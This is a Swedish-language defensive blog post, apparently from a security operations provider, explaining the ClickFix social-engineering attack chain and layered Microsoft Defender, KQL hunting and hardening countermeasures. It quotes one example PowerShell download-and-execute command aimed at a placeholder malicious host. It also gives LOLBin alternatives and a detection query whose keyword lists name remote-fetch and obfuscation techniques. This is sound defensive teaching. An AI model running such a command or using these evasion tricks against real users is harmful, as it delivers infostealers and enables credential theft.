ClickFix. När användaren är exploiten, och hur ni stoppar det

ClickFix-attackkedjan

ClickFix är en attack där användare blir sin egen angripare. Ingen exploit, ingen sårbarhet. Offret kör själv den skadliga koden, med en enda copy-paste.

Betet är social engineering: ett förfalskat CAPTCHA på en skadlig sida, ett falskt supportmeddelande ("din webbläsare behöver en uppdatering"), ett phishingmejl eller en förfalskad mötessida. Medan offret är på sidan skriver JavaScript payloaden till urklipp via clipboard.writeText(). Sedan uppmanar sidan användaren att trycka Win+R, Ctrl+V och Enter. Kör-dialogen startar det som ligger i urklipp.

Ett typiskt bete ser ut så här:

Kommandot som det lägger i urklipp ser ut så här:

powershell.exe -w h iex(irm 'https://malicious[.]tld/payload' -UseBasicParsing)

Två saker händer samtidigt. PowerShell startar i ett dolt fönster (-w h), och iex(irm …) laddar ner payloaden och kör den direkt i minnet. Ingenting landar på disken, signaturbaserat antivirus har alltså inget att skanna. Steg två är oftast en infostealer (Lumma, Vidar, RedLine, StealC), en remote access-trojan eller en ransomware-loader.

Samma mönster i Microsoft Defender-telemetrin, en dold PowerShell startad från Windows Terminal som kör iex(irm …):

Varför det fungerar så bra: allt körs i användarkontexten, utan förhöjda behörigheter. Cookies, sparade lösenord och session-tokens ligger inom räckhåll för en standardanvändare. Angriparen behöver inte eskalera behörigheter för att komma åt det den kom för.

Vad Microsoft Defender upptäcker

Microsoft har de senaste månaderna investerat mycket i ClickFix-detekteringen. Om er Defender är frisk och rätt konfigurerad får ni inbyggda detekteringar för ClickFix-payloads. Sedan Q2 2025 publicerar MDE beteendebaserade alerts under titlar som "Suspicious 'ClickFix' behavior detected", "Malicious PowerShell command executed via Run dialog" eller "An active 'Pacalau' malware in a command line was prevented from executing". De avfyras från MDE-molnmotorn via analysen av processkedjan, parallellt med AV-detekteringen och ofta några sekunder tidigare.

Konfigurationen som gör det möjligt står längre ned under härdningen av exekveringen.

Var den inbyggda detekteringen når sina gränser

Molnbaserade ML-signaturer behöver tid innan de löser ut. Vi ser regelbundet en lucka på över en minut mellan PowerShell-starten och Defender-alerten. En snabbare payload glider igenom det fönstret.

Angripare anpassar sig dessutom snabbt. Byt powershell mot mshta http://... eller msiexec /i http://..., båda klassiska LOLBins, och de PowerShell-specifika detekteringarna biter inte längre.

Att stänga luckan: en RunMRU-hunt

Den luckan stänger vi med custom detections. Utgångspunkten är en KQL-fråga mot registernyckeln RunMRU, som skriver ned varje kommando som en användare knappar in i Win+R-dialogen.

DeviceRegistryEvents
| where ActionType =~ "RegistryValueSet"
| where InitiatingProcessFileName =~ "explorer.exe"
| where RegistryKey has @"\CurrentVersion\Explorer\RunMRU"
| where RegistryValueData has " ✅ "
    or (RegistryValueData has_any ("powershell", "mshta", "curl", "msiexec", "^")
        and RegistryValueData matches regex "[\\u0400-\\u04FF\\u0370-\\u03FF\\u0590-\\u05FF\\u0600-\\u06FF\\u0E00-\\u0E7F\\u2C80-\\u2CFF\\u13A0-\\u13FF\\u0530-\\u058F\\u10A0-\\u10FF\\u0900-\\u097F]")
    or (RegistryValueData has "mshta" and RegistryValueName !~ "MRUList" and RegistryValueData !in~ ("mshta.exe\\1", "mshta\\1"))
    or (RegistryValueData has_any ("bitsadmin", "forfiles", "ProxyCommand=") and RegistryValueName !~ "MRUList")
    or ((RegistryValueData startswith "cmd" or RegistryValueData startswith "powershell")
        and (RegistryValueData has_any ("-W Hidden ", " -eC ", "curl", "E:jscript", "ssh", "Invoke-Expression", "UtcNow", "Floor", "DownloadString", "DownloadFile", "FromBase64String", "System.IO.Compression", "System.IO.MemoryStream", "iex", "Invoke-WebRequest", "iwr", "Get-ADDomainController", "InstallProduct", "-w h", "-X POST", "Invoke-RestMethod", "-NoP -W", ".InVOKe", "-useb", "irm ", "^", "[char]", "[scriptblock]", "-UserAgent", "UseBasicParsing", ".Content")
            or RegistryValueData matches regex @"[-/–][Ee^]{1,2}[NnCcOoDdEeMmAa^]*\s[A-Za-z0-9+/=]{15,}"))

Frågan markerar varje Win+R-post som ser ut som ett ClickFix-kommando: PowerShell, mshta, curl eller msiexec tillsammans med typiska indikatorer som -w hidden, iex, irm, DownloadString eller Base64-kodade payloads. Den fångar också de subtila tricken. Den gröna bock-emojin som många förfalskade CAPTCHA-beten sätter framför kommandot. Unicode-tecken ur kyrilliska, arabiska eller thailändska block, som angripare använder för att maskera text och kringgå enkla strängfilter. Dyker ett av de här mönstren upp i en Win+R-post pågår med stor sannolikhet en ClickFix-attack just då.

För våra CSOC-kunder driver vi den här och ytterligare custom detections för att stänga luckan mellan nya attacktekniker och den inbyggda detekteringen.

Skyddslager 1: blockera leveransen

Nu till preventionen. ClickFix är utbrett och framgångsrikt, ett enskilt skydd räcker alltså inte. Vi arbetar i lager, från leveransen till exekveringen.

Network Protection blockerar kända leveransdomäner och C2-servrar för alla webbläsare. MDE Web Content Filtering kompletterar med kategorier som "Newly registered domains", "Hacking" och "Illegal Software". Network Protection är inbyggt i Windows, men för tredjepartswebbläsare måste ni inaktivera QUIC och ECH, eftersom båda krypterar hela förbindelsen och döljer måldomänen. Inaktivera QUIC i Chrome och Firefox via enterprise-policy (QuicAllowed = Disabled i Chrome, network.http.http3.enable = false i Firefox); för ECH sätter ni EncryptedClientHelloEnabled = Disabled i Chrome.

För Edge aktiverar ni SmartScreen. För tredjepartswebbläsare slår ni på deras inbyggda Safe Browsing. Det är inte samma sak som Network Protection, men det hjälper till att filtrera skadliga sidor. För mejlvektorn granskar Safe Links och Safe Attachments länkar och bilagor innan användare interagerar med dem.

Haken: allt det biter bara mot känd infrastruktur. Aktuella ClickFix-kampanjer körs över nyregistrerad infrastruktur som identifieras och blockeras för sent, och ibland över legitima sidor som en angripare har komprometterat. Så vi tittar på vad som skyddar efter att betet har levererats.

Skyddslager 2: blockera tricket

Ett par Edge-funktioner höjer tröskeln medan användaren är på en skadlig sida. Att styra webbläsartillägg förhindrar att användare installerar skadliga eller komprometterade tillägg som injicerar ClickFix-overlays eller själva manipulerar urklipp. Edge Enhanced Security Mode lägger strängare skyddsåtgärder på okända och sällan besökta sidor (JIT inaktiverat, Control Flow Guard, hårdvarustött stackskydd), vilket avsevärt försvårar exploitbaserade övertaganden av webbläsaren. Typo Protection varnar för typosquattade domäner (micros0ft.com, paypa1.com) och blockerar en utbredd ClickFix-leveransvektor via förfalskade varumärkesdomäner.

Tekniska kontroller är bara halva jobbet. Användarutbildning förblir avgörande. Den enda regel som bär den största delen: om en webbsida uppmanar dig att klistra in något i din dator är det en attack. Gör det konkret i medvetenhetsträningen:

• Visa riktiga beten: förfalskade "Verify you are human"-kryssrutor, "din webbläsare behöver en uppdatering", "dokumentet kunde inte renderas, kör den här fixen", trasiga Teams- eller Zoom-ljudprompter.
• Demonstrera urklippstricket: visa hur sidan tyst skriver över urklipp.
• Gör det enkelt att rapportera: snabbt och utan skuldbeläggning.

Skyddslager 3: blockera handlingen

Här finns ett par möjligheter att härda systemet, ingen av dem är en garanti. Börja med att inaktivera Kör-dialogen, det tar bort Win+R som ingångspunkt. Microsofts ClickFix-guidance rekommenderar att inaktivera den "where it isn't necessary". Det stänger den specifika Win+R-paste-attacken, men alternativa startytor finns kvar, exempelvis Utforskarens adressfält och Windows Terminal.

Ni kan dessutom härda Edge med DefaultClipboardSetting, vilket förhindrar att JavaScript tyst skriver till urklipp.

Skyddslager 4: blockera exekveringen

Innan de avancerade funktionerna, få ordning på grunderna. För ClickFix betyder det:

• Local admin reduction: ta bort lokala administratörsbehörigheter från slutanvändare där det går, för att begränsa effekten av en kodexekvering.
• Endpoint Privilege Management (EPM): låt användare arbeta som standardanvändare och elevera bara godkända appar via policyregler.
• UAC-härdning: granska secure desktop-enforcement, promptbeteende för administratörer och standardanvändare samt installer-detektering.
• Credential Guard: isolera NTLM-hashar, Kerberos-biljetter och annat credential-material med virtualiseringsbaserad säkerhet, så att credential-stöld förblir svårt även om en angripare får administratörsbehörighet.

De här kontrollerna minskar eskaleringsmöjligheterna, skyddar credentials och driver igenom least privilege. Gränsen för dem: de begränsar vad som händer efter en kompromettering. De hindrar inte en infostealer i standardanvändarkontexten från att läsa ut cookies, session-tokens och app-credential-stores som är läsbara för användaren.

Sedan Microsoft Defender. Defender AV kan upptäcka payloaden i steg två, men bara med rätt inställningar: slå på Cloud Protection och sätt skyddsnivån till High eller High+. AMSI, Antimalware Scan Interface, låter applikationer lämna över innehåll till Defender för granskning vid körning, efter att det har dekrypterats eller deobfuskerats i minnet men innan det körs. PowerShell använder AMSI för att identifiera skadlig kod, och AMSI kräver realtidsskydd och behavior monitoring.

Minst fem Attack Surface Reduction-regler är relevanta mot ClickFix:

Rulla ut ASR först i auditläge, sedan som pilot, sedan i blockläge. Tamper Protection är sista linjen: den hindrar angriparen från att stänga av era detekteringar.

Vad gäller PowerShell självt minskar ni risken från legacy-interpretrar. Identifiera och ta bort, där det är genomförbart, Windows PowerShell 2.0 och legacy-VBScript-komponenter, som saknar loggnings- och säkerhetsfunktionerna i nyare versioner. Nästa steg är Constrained Language Mode (CLM), som begränsar vilka språkelement i PowerShell som är tillgängliga och blockerar många skriptbaserade tekniker. CLM har bara robust säkerhetsvärde när en system application control-policy driver igenom det (App Control for Business); varianterna via miljövariabel och AppLocker är svagare och går att kringgå. Och många system behöver Full Language Mode för att fungera, exempelvis verktyg för programvarudistribution, varför CLM ofta bara är genomförbart i utvalda miljöer.

Därmed är vi framme vid App Control for Business (tidigare WDAC). App Control driver igenom en kodintegritetspolicy över vilka executables, skript och drivrutiner som får köra. Den strategiska hållningen är default-deny plus Microsofts rekommenderade block rules, den kända LOLBin- och bypass-blocklistan. App Control är också den korrekta enforcement-vägen för PowerShell-CLM. Script enforcement blockerar MSHTA- och MSXML-skripthostar, tvingar in PowerShell i CLM och blockerar otillåten användning av Windows Script Host. Ett par beteendefakta är viktiga:

• Base policies som litar på Windows blockerar inte betrodda LOLBins automatiskt. Ni måste merga in Microsofts rekommenderade block rules för att stänga de kända bypasserna.
• App Control hindrar inte signerade powershell.exe eller cmd.exe från att starta. Det begränsar vad de får göra (CLM, ingen osignerad eller otillåten payload) och styr inte innehållet i cmd.exe, .bat eller .cmd. Därför skiktas det med ASR och start-härdning, inte används ensamt.
• Auditläget är inte neutralt: script enforcement blockerar även i audit exekveringen av MSHTA och MSXML och kan ändra PowerShell-CLM-beteendet. Därför måste App Control i audit vara pilot- eller ringbegränsat från första utrullningen, aldrig flottäckande.

App Control är den enskilda kontroll som har högst confidence mot interpretor-, LOLBin- och payload-exekveringsfaserna och driver igenom robust CLM. Den bär samtidigt högst deploymentkomplexitet och högst rollback-risk, för en felkonfiguration blockerar exekveringen. Inför den via kontrollerade pilotringar.

Var vi kommer in i bilden

ClickFix är snabbt, och Microsofts inbyggda detekteringar täcker det mesta, men inte allt. För våra CSOC-kunder utökar vi täckningen löpande där luckor dyker upp: exekvering via Windows Terminal, RAT-drivna supportbedrägerier och beteende efter kompromettering. Om ni vill veta var er miljö står, hör av er.